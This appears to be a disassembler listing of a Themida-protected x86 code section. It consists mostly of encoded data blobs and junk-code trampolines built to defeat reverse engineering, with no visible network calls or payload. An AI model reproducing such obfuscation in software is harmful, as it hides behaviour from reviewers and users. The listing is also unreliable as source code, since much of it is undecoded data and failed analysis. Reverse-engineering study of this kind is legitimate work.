		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0FB9A9C0Ch
		dd 7B281875h, 0F681663Dh, 8D012A58h, 7FA2B11h, 0E075858Dh
		dd 6A07FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0E932E2C3h, 0EE9AEh, 417D0000h, 4CE2F3B6h
		dd 0D2368F93h, 134FA557h, 0EBC1BF66h, 8905C083h, 0FA23E9BDh
		dd 0E9509007h, 0Ah, 0B4A270EDh,	0B45E97Bh, 60903C2Dh, 831BD89h
		dd 0BD2907FAh, 7FA1BADh, 6A006A61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4B7AC355h
		dd 0AE96011h, 82000000h, 0E5C9D663h, 6693D529h,	71BD29ECh
		dd 6107FA08h, 95FF006Ah, 7FA174Dh, 0E850Fh, 9E90000h, 0C8000000h
		dd 1AE5B0B5h, 933DA21Bh, 7ADB9D8Dh, 6A07FEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D3FFC7C3h
		dd 0EDEBBF66h, 312585FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8602FCC3h, 56D69D08h
		dd 0AEF1BE66h, 854E95Eh, 0E80000h, 5D000000h, 0E07FED81h
		dd 840F07FEh, 6, 5CD9D09h, 0BD8107FAh, 7FA09B9h, 7D0h
		dd 17E860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8BA0C3h, 7FA2AF9h, 81FABF0Fh
		dd 100E3h, 8D8B6000h, 7FA0209h,	0FDB0B61h, 0A285h, 0DE900h
		dd 7C4F0000h, 65D0C93Bh, 1FD49949h, 8369B3DAh, 0FEDE83BDh
		dd 840F0007h, 3Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 6C35747h, 9DE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 85C7506Fh
		dd 7FEDE83h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	81C35141h, 0F4B3F77h, 4FE9FBB7h, 0E8000000h, 0Bh
		dd 17BCA309h, 0BB6052F7h, 0F453C52h, 0C75FF3BFh, 0FEDE8385h
		dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 5E555DA9h, 0D5438399h, 9D858975h
		dd 5107FA1Eh, 5ED99CBEh, 9D8D5E37h, 7FA2AF9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5CC35141h, 5BBD10CBh
		dd 0A984524h, 8E9h, 68BBA600h, 0BE820E1Fh, 0FF2381B3h
		dd 6AFFFFFEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1BF8C356h, 510ADE81h, 95294A51h
		dd 7FA3151h, 6ADB8C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 576EC351h, 8328F0D1h
		dd 5B689740h, 0B1C5DE81h, 0BD0122EBh, 7FA14A1h,	0F04C3F6h
		dd 5484h, 0F1BD0300h, 0FF07FA24h, 0FA172195h, 12E807h
		dd 49D00000h, 0E690A55Eh, 86DD4941h, 0AC0BE11h,	706A81AEh
		dd 12B58509h, 505E07FAh, 5C08BF66h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A297C352h, 0D15B7821h, 3FDE98Ch, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 15FB7AC3h
		dd 39A92E03h, 2135B58Bh, 0B007FAh, 307BF681h, 70E606F2h
		dd 31EDB529h, 71E407FAh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E0C35747h, 0B5111FF1h, 0D8B60F5Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2EC35646h, 69EFC990h
		dd 6BAh, 0FD8A6000h, 0FE9h, 49AD3C00h, 3527C051h, 0FA94E743h
		dd 60BFC8EEh, 0DD8D8961h, 8B07FA13h, 55006AC3h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0F681E223h
		dd 349AED02h, 8B04E8C1h, 0FA1851B5h, 0E2F76607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FC35545h, 203E5E60h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B6680C3h, 0E95793F2h, 8,	76F2432Ah, 0E37B8607h
		dd 6652505Eh, 935FF38Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 6BC35343h, 84DEA8B3h,	29858951h, 5F07FA0Ah
		dd 6F98531h, 0B5FF07FAh, 7FA09B9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1BC35747h, 8B66BF40h, 2D95FFF8h
		dd 0B007FA01h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0B58D89E4h, 0E607FA09h
		dd 2CE68170h, 890E0704h, 0FA114595h, 8B71E407h,	0FA0399BDh
		dd 0F613C07h, 23683h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 29B75156h, 0FA0D0185h
		dd 0F5F5607h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 90939FC3h, 3ABAB064h, 6BAA58Eh
		dd 8B000000h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 4E8C14Fh,	5E9h, 55DEDB00h, 0F766B451h
		dd 0FFB70FE2h, 6AD82Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 6E8700C3h, 7EAD9B1Dh, 6A58EDh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 81772EC3h, 41BDE3DFh, 0FD82B79h, 16288h, 0FE900h, 0A9B30000h
		dd 0A4F7A934h, 507CB6D0h, 58EA802Fh, 7B9CEh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 389DA2C3h, 7D00C14Ch, 0F7816652h, 0C1835829h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 3BDECE9Dh, 0F8860FD9h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BE9C352h
		dd 0D98C66F2h, 25F1BD33h, 0C1F607FAh, 0A5840F04h, 0F000000h
		dd 689h, 1958900h, 0FF07FA24h, 0FA172195h, 0DBB8BE07h
		dd 6A5B700Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0A4EAC357h, 14CD1565h,	661B767Eh
		dd 0BDD6E681h, 0B58BC32Bh, 7FA2621h, 8343Dh, 51860F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0F664C351h, 0CDE1F487h, 19BD0BA8h
		dd 8107FA18h, 0BD138CE7h, 41E949h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B82C15C3h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9A6503C3h, 8BF1B70Fh, 6AD88BC3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A072C356h, 68C0F82h, 8B000000h, 0FA0511B5h,	0D985C707h
		dd 0FF07FA1Dh, 0BE7BDF57h, 320CF88Fh, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8C0F82C3h, 6, 0EE22E781h, 0BD8172CEh, 7FA09B9h, 7D0h
		dd 28850Fh, 0B70F0000h,	0B985FFF0h, 6A07FA09h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4B62C351h, 0B5FF7699h, 7FA09B9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 47C35545h, 0C9373A1Dh, 6BE22074h
		dd 0C91BD8Bh, 95FF07FAh, 7FA012Dh, 329BD8Bh, 6A9007FAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B26C353h, 49B50BF1h, 2307FA06h, 0FA0CE9BDh
		dd 0B9958907h, 6007FA07h, 0F086F7B9h, 8B666016h, 8B61F5F9h
		dd 6A61CFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C45CEFC3h, 0BD8B1DAAh, 7FA1901h,	6AFA8Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B56CB8C3h, 17E7CC4Ch, 81B4C178h, 80137EEh, 81F08B1Ch
		dd 9A2ABECEh, 4810F2Ch,	66000000h, 6AE8F1BEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 9508C352h, 0A1B58943h, 0F07FA25h, 178Ah, 12E900h, 0E3EA0000h
		dd 0BE84E2Ch, 0AB559846h, 9390B89Fh, 62425B73h,	1BF9B589h
		dd 0B58B07FAh, 7FA2DE5h, 0AE9h,	8E3D5F00h, 0C1D82A26h
		dd 0E9292C94h, 0FFFFF7E6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 5EC35141h, 13E9h, 4C57C300h, 0DC8AE976h
		dd 4FFD6DC3h, 0AA89FDBh, 0B9F11206h, 3191BD8Bh,	0E96007FAh
		dd 13h,	0F7C603ADh, 0A6B2EBBBh,	17A48C34h, 0CCEB5D0Fh
		dd 0B9A84574h, 0FFFFFFFEh, 0ACE08166h, 4D8D21B6h, 0F807FA11h
		dd 0C398D21h, 0BD8907FAh, 7FA1E9Dh, 114D8D8Bh, 9D2907FAh
		dd 7FA0101h, 0F01E183h,	285h, 8BF88B00h, 0FA0C398Dh, 0E19D8B07h
		dd 8307FA17h, 850F01E1h, 25h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 49C35545h, 890F7CA3h, 0FA1EBD9Dh
		dd 9606107h, 0FA02BDBDh, 0FFFEB907h, 0B70FFFFFh, 918D21F9h
		dd 6607FA28h, 8589D88Bh, 7FA34D1h, 0AE58D21h, 6A07FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C974A0C3h, 7F9B589h, 8D8B07FAh, 7FA2891h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 90C35747h, 8362B676h
		dd 850F01E1h, 0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+7FA0AE5h]
		mov	dx, si
		jmp	loc_5F04E3
; ---------------------------------------------------------------------------
		mov	edx, 80A58E3Ah


loc_5F04E3:				; CODE XREF: Themida_:005F04D9j
					; Themida_:005F0560j
		and	ecx, 1
		jnz	loc_5F0521
		push	0
		push	ecx
		call	sub_5F04F7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F04F7	proc near		; CODE XREF: Themida_:005F04EFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5F04F7	endp

; ---------------------------------------------------------------------------
		db 0AAh
		dd 0F814F799h, 0A9519006h, 6E9h, 13F5C500h, 817A6870h
		dd 8146CAE2h
		db 1Ch
; ---------------------------------------------------------------------------


loc_5F0521:				; CODE XREF: Themida_:005F04E6j
		popa
		pusha
		mov	ecx, 0FFFFFFFEh
		jns	loc_5F0534
		mov	ebx, [ebp+7FA02DDh]


loc_5F0534:				; CODE XREF: Themida_:005F0528j
		and	[ebp+7FA2AF9h],	ecx
		push	0
		push	ebp
		call	sub_5F0545
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F0545	proc near		; CODE XREF: Themida_:005F053Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5F0545	endp

; ---------------------------------------------------------------------------
		aam	7Bh
		leave
		adc	[ebx], ch
		cmp	al, [ecx-4C508B21h]
		jbe	short loc_5F04E3
		rol	byte ptr [ebp+21254709h], 1
		lea	edx, [ebp+5007FA1Dh]
		and	eax, 68F294FEh
		pop	eax
		mov	ecx, [ebp+7FA2AF9h]
		movzx	edi, dx
		and	ecx, 1
		jnz	loc_5F058A
		movzx	eax, cx


loc_5F058A:				; CODE XREF: Themida_:005F0581j
		mov	ecx, [ebp+7FA1D95h]
		or	di, 1C36h
		and	ecx, 1
		jnz	loc_5F05B2
		pusha
		mov	[ebp+7FA219Dh],	eax
		jnz	loc_5F05B1
		mov	esi, [ebp+7FA2461h]


loc_5F05B1:				; CODE XREF: Themida_:005F05A5j
		popa


loc_5F05B2:				; CODE XREF: Themida_:005F0598j
		popa
		pusha
		mov	bx, 0A282h
		mov	ecx, 0FFFFFFFEh
		and	eax, [ebp+7FA05B9h]
		and	[ebp+7FA1DD9h],	ecx
		push	0
		push	edi
		call	sub_5F05D4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F05D4	proc near		; CODE XREF: Themida_:005F05CCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5F05D4	endp

; ---------------------------------------------------------------------------
		sub	eax, 8D21F9DAh
		jns	short loc_5F05FC
		cli
		pop	es
		jmp	near ptr loc_5F05FC+1
; ---------------------------------------------------------------------------
		sbb	al, 25h
		jz	short loc_5F0632
		pop	es
		mov	esp, 2415629Bh


loc_5F05FC:				; CODE XREF: Themida_:005F05E9j
					; Themida_:005F05EDj
		jnp	near ptr 0FA7CDF8Fh
		pop	es
		push	0
		push	eax
		call	sub_5F060E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F060E	proc near		; CODE XREF: Themida_:005F0606p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5F060E	endp

; ---------------------------------------------------------------------------
		dw 7B14h
		dd 0EC9DEE09h, 83B6C03Ah, 850F01E1h, 3
		db 0Fh,	0B7h
; ---------------------------------------------------------------------------


loc_5F0632:				; CODE XREF: Themida_:005F05F4j
		cli
		mov	ecx, [ebp+7FA1179h]
		or	dx, 0AFEBh
		and	ecx, 1
		jnz	loc_5F064D
		sub	[ebp+7FA0639h],	edi


loc_5F064D:				; CODE XREF: Themida_:005F0641j
		popa
		pusha
		push	0
		push	edx
		call	sub_5F065A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F065A	proc near		; CODE XREF: Themida_:005F0652p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5F065A	endp

; ---------------------------------------------------------------------------
		dw 0CB08h
		dd 4291805Ch, 0C78A0170h, 0FA09B985h, 7D007h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0F6EFF0EEh, 818C5928h, 32BF9BC1h, 7CD0804Eh,	55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89222998h, 0FA291D9Dh, 0F9950B07h, 0EB07FA13h, 0E99D6107h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5F06E7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F06E7	proc near		; CODE XREF: Themida_:005F06DFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5F06E7	endp

; ---------------------------------------------------------------------------
		db 48h
		dd 4F38E649h, 8296026Ch, 52006AF6h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0E1C10FCBh, 4FEBC18Bh
		dd 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
		dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
		dd 9D00A6DBh, 9F001FECh, 0DC80BAh, 54000000h, 0FEE11Bh
		dd 0FBFE5F00h, 87000000h, 2352DDB4h, 19ED920h, 0E97C809Eh
		dd 1112h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	16C35141h, 0B5896AB6h, 7FA1AF5h, 25BD0151h, 5A07FA27h
		dd 27ADBD83h, 0F0007FAh, 2E85h,	0D1B70F00h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 4C2A3DAh, 95BD8B00h,	8B07FA2Dh, 0D1BD83C0h, 7FA16h
		dd 0BD830975h, 7FA3535h, 50137400h, 0B8C08B53h,	4D0h, 3DAE9D8Dh
		dd 0D3FF07FDh, 0BD83585Bh, 7FA3535h, 50117400h,	4D0B853h
		dd 9D8D0000h, 7FD3CFBh,	585BD3FFh, 1799BD2Bh, 0EE807FAh
		dd 0AE000000h, 5C03A336h, 0A81E9B98h, 85261303h, 299589DBh
		dd 5907FA31h, 27BDBD8Bh, 0C08B07FAh, 3545958Bh,	858D07FAh
		dd 7FEEC63h, 15758D0Bh,	505007FAh, 66310F52h, 5A9AA0BFh
		dd 24048958h
; ---------------------------------------------------------------------------


loc_5F0868:				; DATA XREF: sub_5A55E5:off_5B112Co
		push	0
		push	ebp
		call	sub_5F0873
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F0873	proc near		; CODE XREF: Themida_:005F086Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5F0873	endp

; ---------------------------------------------------------------------------
		retf	41AEh
; ---------------------------------------------------------------------------
		mov	[ebp+7FA34E9h],	edi
		pusha
		mov	dx, ax
		mov	edx, [ebp+7FA26D5h]
		popa
		lea	eax, [ebp+7FEEC20h]
		call	sub_5F08B0
		jmp	short loc_5F08AC
; ---------------------------------------------------------------------------
		dd 0F60D09C8h, 0AB7C5FBEh
; ---------------------------------------------------------------------------


loc_5F08AC:				; CODE XREF: Themida_:005F08A2j
		add	al, 6
		in	al, 88h

; =============== S U B	R O U T	I N E =======================================



sub_5F08B0	proc near		; CODE XREF: Themida_:005F089Dp
		pop	edx
		nop
		mov	edx, eax
		push	eax
		mov	cx, di
		nop
		jmp	loc_5F08C4
; ---------------------------------------------------------------------------
		dw 790Bh
		dd 7754BB62h
; ---------------------------------------------------------------------------


loc_5F08C4:				; CODE XREF: sub_5F08B0+9j
		call	dword ptr [ebp+7FA1B95h]
		push	0
		push	eax
		call	sub_5F08D5
		and	[eax-3Dh], bl
sub_5F08B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F08D5	proc near		; CODE XREF: sub_5F08B0+1Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5F08D5	endp

; ---------------------------------------------------------------------------
		db 7Bh,	5Dh, 3Fh
		dd 0FB3CA8D1h, 0C52DBF66h, 424448Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 4C35242h, 0E50B9D47h, 8589FE03h
		dd 7FEEC4Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	4DC35242h, 66574AB3h, 448BD08Bh, 0CA810824h, 44F0922Ch
		dd 14D5B589h, 858907FAh, 7FEEC5Fh, 0BD83A9B6h, 7FA34ADh
		dd 8D850F00h, 66000000h, 85C6C88Bh, 7FA1571h, 0E5B50947h
		dd 6807FA02h, 0B4E739CFh, 9E8h,	9D360000h, 1572D9E4h, 7DBAB534h
		dd 5965BADDh, 1D243481h, 89607D9Eh, 0FA0C91B5h,	8DB5FF07h
		dd 6A07FA1Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 4453C356h, 0EA816601h,	858D2D26h
		dd 7FE3A58h, 12018589h,	0D0FF07FAh, 0CA40BA66h,	34AD8589h
		dd 0AE807FAh, 0A6000000h, 52EEA4C5h, 0B22C2731h, 840FF1h
		dd 5F000000h, 2E1BD83h,	0F0007FAh, 10B85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0F3CBC1Ah, 3156DAA8h, 0FA188D85h, 7185C607h,	4707FA15h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A9C35646h
		dd 37EEC307h, 6810Fh, 0B5090000h, 7FA1D7Dh, 8166CF8Bh
		dd 680125D1h, 291B324Ah, 481D68Bh, 0F4839824h, 358D3360h
		dd 0FF07FA16h, 0FA1E8DB5h, 0C5BD8B07h, 8D07FA16h, 0FE3A5885h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0C590DAEAh, 0FF9EA1EEh, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0DCDBFE95h, 0A98D8960h, 2307FA1Ch, 0FA34DD95h, 85896107h
		dd 7FA02E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0B3C35040h, 0C7A169A1h,	860FDB5Eh, 4, 0D5F9BA66h
		dd 0CE5BD83h, 0F0007FAh, 8885h,	0E58D8900h, 0C607FA07h
		dd 0FA157185h, 0BD895607h, 7FA171Dh, 0EABAB68h,	0DE98Fh
		dd 5DA30000h, 0F9F49F97h, 7C14DBB6h, 813EA10Eh,	0C6922434h
		dd 0BF0F5B11h, 8DB5FFF9h, 0F07FA1Eh, 858DD7B7h,	7FE3A58h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DFC35646h
		dd 2957487Ah, 0FA0309BDh, 8B665907h, 89D0FFCBh,	0FA0CE585h
		dd 0CE85307h, 62000000h, 234E89C9h, 175FA65h, 59403BD5h
		dd 7185C65Fh, 6C07FA15h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 36C35040h, 8D8B60A4h,	7FA08E1h, 116F84B8h
		dd 0F58A6168h, 9F967A68h, 665250CEh, 0F8FA5BFh,	7E831h
		dd 81610000h, 0EB8EE85Bh, 59F98B67h, 481585Ah, 65DA0924h
		dd 0F8BF0F0Ch, 1229B5FFh, 0BD3307FAh, 7FA0CD1h,	3B93858Dh
		dd 0BF0F07FAh, 89D0FFFEh, 0FEEC4F85h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 3493C3DAh, 591C7A9Bh, 9D299148h, 7FA3451h, 0EC6BBD83h
		dd 0F0007FEh, 11485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 694A05C6h, 21A31C04h
		dd 8A52206Fh, 85C65FECh, 7FA1571h, 57006A49h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 2FD394EEh
		dd 0CCD6CC0Dh, 354C68F1h, 348189B4h, 0A11CA524h, 28F7B905h
		dd 0B5FF1634h, 7FA1229h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 97C35545h, 8B86977Eh,	0F4BFB7C5h, 8D38C98Eh
		dd 0FA3B9385h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F02847A9h, 2FB436D9h
		dd 81665124h, 5A8BCAD7h, 1B8D9589h, 14E907FAh, 95000000h
		dd 75300710h, 95C511CFh, 58F2057Eh, 89D1CEC6h, 0FF5E11A6h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8166D31Bh, 89B582D2h, 0FEEC6B85h, 0B58B6007h
		dd 7FA08B1h, 66046A61h,	0C168D38Bh, 8A773B08h, 243481CFh
		dd 773B18C1h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	4AC35343h, 2D2C6873h, 5250F710h, 0FF88B66h, 0CDD0B931h
		dd 585A5857h, 0D4240481h, 108F0D2h, 0FA08F985h,	758D8B07h
		dd 6A07FA05h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 997FA6BFh, 0C9816672h, 95FF914Bh
		dd 7FA2635h, 0B8E0Fh, 6E90000h,	2A000000h, 0BC72F6E9h
		dd 0E28A6054h, 1389B58Bh, 896107FAh, 0FEEC5B85h, 5385C707h
		dd 7FEECh, 66000000h, 6AFE8Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 57C35040h, 6B429AEDh, 8D8B0875h
		dd 7FA34E5h, 1F88DA68h,	0DE87Dh, 52400000h, 2EB6F283h
		dd 27CA0546h, 0BA53BB3Fh, 69E8DFD1h, 2434815Ah,	7D1E88DAh
		dd 2E01B529h, 0B95007FAh, 5B2E9EF1h, 0B1240489h, 6A0B6A3Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9B65C356h, 8D68A315h, 0FEEC2885h,	9468BF07h
		dd 0F90012Fh, 0E89h, 22B46000h,	5E9h, 39D93D00h, 5061269Fh
		dd 5190F88Bh, 5AC8B70Fh, 34AD95FFh, 56B607FAh, 0EC32B58Dh
		dd 96F907FEh, 12E850h, 0B07B0000h, 5A596E0Bh, 3D2D32FEh
		dd 4AE6BB44h, 7D90628Ch, 965A5A56h, 24048950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 62C35545h, 34431400h
		dd 0F781C8CBh, 70B37174h, 2E195FFh, 335007FAh, 0FA1AB995h
		dd 0AE95F07h, 6A000000h, 0C0B323DCh, 2AFCBA9h, 0FC00B07h
		dd 6085h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0B9850154h, 0E907FA01h, 6FEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A9C35141h, 1200705Bh
		dd 4C089F7Bh, 0AE9h, 276C4200h,	9627CB21h, 8132849Dh, 841409F1h
		dd 6AD0FF61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 7C93C352h, 8D23039Fh, 7FA07ADh
		dd 0EC5BB58Bh, 6A07FEh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 852119C3h, 8DE7521Ch, 468D5745h
		dd 55006A20h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 8AEDB201h, 29046AE8h, 0FA01E185h, 60609007h
		dd 8E0F6160h, 0
; ---------------------------------------------------------------------------
		popa
		mov	bx, cx
		popa
		push	eax
		mov	cx, di
		nop
		call	dword ptr [ebp+7FEEC6Bh]
		add	ecx, [ebp+7FA1901h]
		or	eax, eax
		jz	loc_5F1074
		jmp	loc_5F165E
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5F104E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F104E	proc near		; CODE XREF: Themida_:005F1046p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5F104E	endp

; ---------------------------------------------------------------------------
		dw 8372h
; ---------------------------------------------------------------------------
		jmp	loc_5F1074
; ---------------------------------------------------------------------------
		db 7Dh,	0A4h, 26h
		db 90h
		db 31h,	95h, 82h
		dd 2C1391B3h, 0D1F33B1Eh
; ---------------------------------------------------------------------------


loc_5F1074:				; CODE XREF: Themida_:005F1038j
					; Themida_:005F1060j
		cmp	byte ptr [esi+20h], 0
		jz	loc_5F165E
		push	0
		push	ebx
		call	sub_5F1089
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F1089	proc near		; CODE XREF: Themida_:005F1081p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5F1089	endp

; ---------------------------------------------------------------------------
		pushf
		cmp	dl, [eax]
		mov	dl, 6Dh
		push	ss
		xor	eax, 0CF8192ECh
		jecxz	short loc_5F1116
		sbb	al, 21h
		pusha
		push	0
		push	edx
		call	sub_5F10B4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F10B4	proc near		; CODE XREF: Themida_:005F10ACp

arg_4		= dword	ptr  8

		pop	edx
